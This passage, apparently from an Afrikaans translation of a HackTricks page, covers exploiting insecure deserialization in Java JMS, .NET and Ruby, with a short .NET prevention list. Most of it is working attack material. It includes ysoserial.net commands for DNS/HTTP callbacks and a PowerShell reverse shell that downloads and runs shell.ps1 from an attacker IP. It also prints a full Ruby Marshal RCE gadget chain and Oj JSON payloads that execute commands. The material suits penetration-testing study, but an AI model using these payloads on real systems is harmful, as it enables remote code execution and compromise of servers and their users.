Die Java Boodskapdiens (JMS) API is 'n Java boodskap-georiënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent–verbruiker probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat by Sun Microsystems ontwikkel is, maar wat sedertdien deur die Java Gemeenskapproses gelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat die kommunikasie tussen verskillende komponente van 'n verspreide toepassing toe om losweg gekoppel, betroubaar en asynchrone te wees. (Van Wikipedia).
Produkte
Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:
Ontginning
So, basies is daar 'n klomp dienste wat JMS op 'n gevaarlike manier gebruik. Daarom, as jy genoeg regte het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/abonnee gedeserialiseer sal word.
Dit beteken dat in hierdie ontginning al die kliënte wat daardie boodskap gaan gebruik, besmet sal raak.
Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilige deserialisering van gebruikersinvoer doen) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin.
Die hulpmiddel JMET is geskep om verbinding te maak en hierdie dienste aan te val deur verskeie kwaadwillige geserialiseerde objekte te stuur wat bekende gadgets gebruik. Hierdie ontginnings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is.
Verwysings
- JMET praat: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Skyfies: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
In die konteks van .Net, werk deserialisering ontginnings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets ontgin word om spesifieke kode tydens die deserialisering van 'n objek uit te voer.
Vingerafdruk
WhiteBox
Die bronkode moet ondersoek word vir voorkomste van:
TypeNameHandling
JavaScriptTypeResolver
Die fokus moet wees op serialiseerders wat toelaat dat die tipe deur 'n veranderlike onder gebruikersbeheer bepaal word.
BlackBox
Die soektog moet teiken op die Base64-gecodeerde string AAEAAAD///// of enige soortgelyke patroon wat op die bediener-kant gedeserialiseer kan word, wat beheer oor die tipe wat gedeserialiseer moet word, toelaat. Dit kan insluit, maar is nie beperk tot nie, JSON of XML strukture wat TypeObject
of $type
bevat.
ysoserial.net
In hierdie geval kan jy die hulpmiddel ysoserial.net gebruik om die deserialisering ontginnings te skep. Sodra jy die git-repo afgelaai het, moet jy die hulpmiddel saamstel met Visual Studio byvoorbeeld.
As jy wil leer oor hoe ysoserial.net sy ontginning skep kan jy hierdie bladsy kyk waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word.
Die hoofopsies van ysoserial.net is: --gadget
, --formatter
, --output
en --plugin
.
--gadget
word gebruik om die gadget aan te dui wat misbruik moet word (gee die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).--formatter
, gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)--output
word gebruik om aan te dui of jy die ontginning in raw of base64 gegecodeer wil hê. Let daarop dat ysoserial.net die payload sal kodeer met UTF-16LE (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar kodeering-kompatibiliteitsprobleme hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk).--plugin
ysoserial.net ondersteun plugins om ontginnings vir spesifieke raamwerke soos ViewState te maak.
Meer ysoserial.net parameters
--minify
sal 'n kleiner payload bied (indien moontlik)--raf -f Json.Net -c "anything"
Dit sal al die gadgets aandui wat met 'n gegewe formatter (Json.Net
in hierdie geval) gebruik kan word--sf xml
jy kan 'n gadget (-g
) aandui en ysoserial.net sal soek na formatters wat "xml" bevat (hoofdlettergevoelig)
ysoserial voorbeelde om ontginnings te skep:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net het ook 'n baie interessante parameter wat help om beter te verstaan hoe elke exploit werk: --test
As jy hierdie parameter aandui, sal ysoserial.net die exploit plaaslik probeer, sodat jy kan toets of jou payload korrek sal werk.
Hierdie parameter is nuttig omdat jy, as jy die kode hersien, stukke kode soos die volgende een (van ObjectDataProviderGenerator.cs) sal vind:
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Dit beteken dat om die eksploit te toets, die kode serializersHelper.JsonNet_deserialize sal aanroep.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In die vorige kode is kwesbaar vir die ontploffing wat geskep is. So as jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is.
Daarom laat die --test
parameter ons toe om te verstaan watter stukke kode kwesbaar is vir die deserialisasie-ontploffing wat ysoserial.net kan skep.
ViewState
Kyk na hierdie POST oor hoe om te probeer om die __ViewState parameter van .Net te ontplof om arbitraire kode uit te voer. As jy reeds die geheime wat deur die slagoffer masjien gebruik word, ken, lees hierdie pos om te weet hoe om kode uit te voer.
Preventie
Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder:
- Vermy om datastrome toe te laat om hul objektipe te definieer. Gebruik
DataContractSerializer
ofXmlSerializer
wanneer moontlik. - Vir
JSON.Net
, stelTypeNameHandling
opNone
: %%%TypeNameHandling = TypeNameHandling.None%%% - Vermy om
JavaScriptSerializer
met 'nJavaScriptTypeResolver
te gebruik. - Beperk die tipes wat gedeserialiseer kan word, verstaan die inherente risiko's met .Net tipes, soos
System.IO.FileInfo
, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei. - Wees versigtig met tipes wat riskante eienskappe het, soos
System.ComponentModel.DataAnnotations.ValidationException
met syValue
eienskap, wat uitgebuit kan word. - Beheer tipe-instansie veilig om te voorkom dat aanvallers die deserialisasieproses beïnvloed, wat selfs
DataContractSerializer
ofXmlSerializer
kwesbaar maak. - Implementeer witlysbeheer met 'n pasgemaakte
SerializationBinder
virBinaryFormatter
enJSON.Net
. - Bly ingelig oor bekende onveilige deserialisasie gadgets binne .Net en verseker dat deserializers nie sulke tipes instansieer nie.
- Isolateer potensieel riskante kode van kode met internettoegang om te voorkom dat bekende gadgets, soos
System.Windows.Data.ObjectDataProvider
in WPF-toepassings, aan onbetroubare databronne blootgestel word.
Verwysings
- Java en .Net JSON deserialisasie papier: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, praat: https://www.youtube.com/watch?v=oUAeWhW5b8c en skyfies: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
In Ruby word serialisering gefasiliteer deur twee metodes binne die marshal biblioteek. Die eerste metode, bekend as dump, word gebruik om 'n objek na 'n byte-stroom te transformeer. Hierdie proses word serialisering genoem. Omgekeerd word die tweede metode, load, gebruik om 'n byte-stroom terug na 'n objek te herstel, 'n proses bekend as deserialisering.
Vir die beveiliging van geserialiseerde objekte, gebruik Ruby HMAC (Hash-Based Message Authentication Code), wat die integriteit en egtheid van die data verseker. Die sleutel wat vir hierdie doel gebruik word, word in een van verskeie moontlike plekke gestoor:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generiese deserialisering na RCE gadget ketting (meer inligting in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ander RCE-ketting om Ruby On Rails te benut: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() metode
Soos verduidelik in hierdie kwesbaarheidsverslag, as sommige gebruiker ongesuiwerde invoer die .send()
metode van 'n ruby objek bereik, laat hierdie metode toe om enige ander metode van die objek met enige parameters aan te roep.
Byvoorbeeld, om eval aan te roep en dan ruby kode as tweede parameter sal toelaat om arbitrêre kode uit te voer:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Boonop, as slegs een parameter van .send()
deur 'n aanvaller beheer word, soos in die vorige skrywe genoem, is dit moontlik om enige metode van die objek aan te roep wat nie argumente benodig nie of waarvan die argumente standaardwaardes het.
Vir hierdie doel is dit moontlik om al die metodes van die objek te enumereer om 'n paar interessante metodes te vind wat aan daardie vereistes voldoen.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby klas besoedeling
Kyk hoe dit moontlik kan wees om 'n Ruby klas te besoedel en dit hier te misbruik.
Ruby _json besoedeling
Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd _json
gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd _json
met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die _json
parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang uitgevoer word.
Kyk meer inligting in die Ruby _json besoedeling bladsy.
Ander biblioteke
Hierdie tegniek is geneem uit hierdie blogpos.
Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om RCE te verkry basies):
Biblioteek | Invoerdata | Kick-off metode binne klas |
Marshal (Ruby) | Binêr | _load |
Oj | JSON | hash (klas moet in hash(map) as sleutel geplaas word) |
Ox | XML | hash (klas moet in hash(map) as sleutel geplaas word) |
Psych (Ruby) | YAML | hash (klas moet in hash(map) as sleutel geplaas word)init_with |
JSON (Ruby) | JSON | json_create ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks)) |
Basiese voorbeeld:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy hash
funksie to_s
sal aanroep, wat spec sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL op te haal, wat 'n groot detektor van hierdie soort ongesaniteerde deserialisering kwesbaarhede bied.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Boonop is gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep word, wat 'n vereiste is om 'n ander gadget te misbruik om dit in 'n volledige RCE te transformeer met iets soos:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Kyk vir meer besonderhede in die oorspronklike pos.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.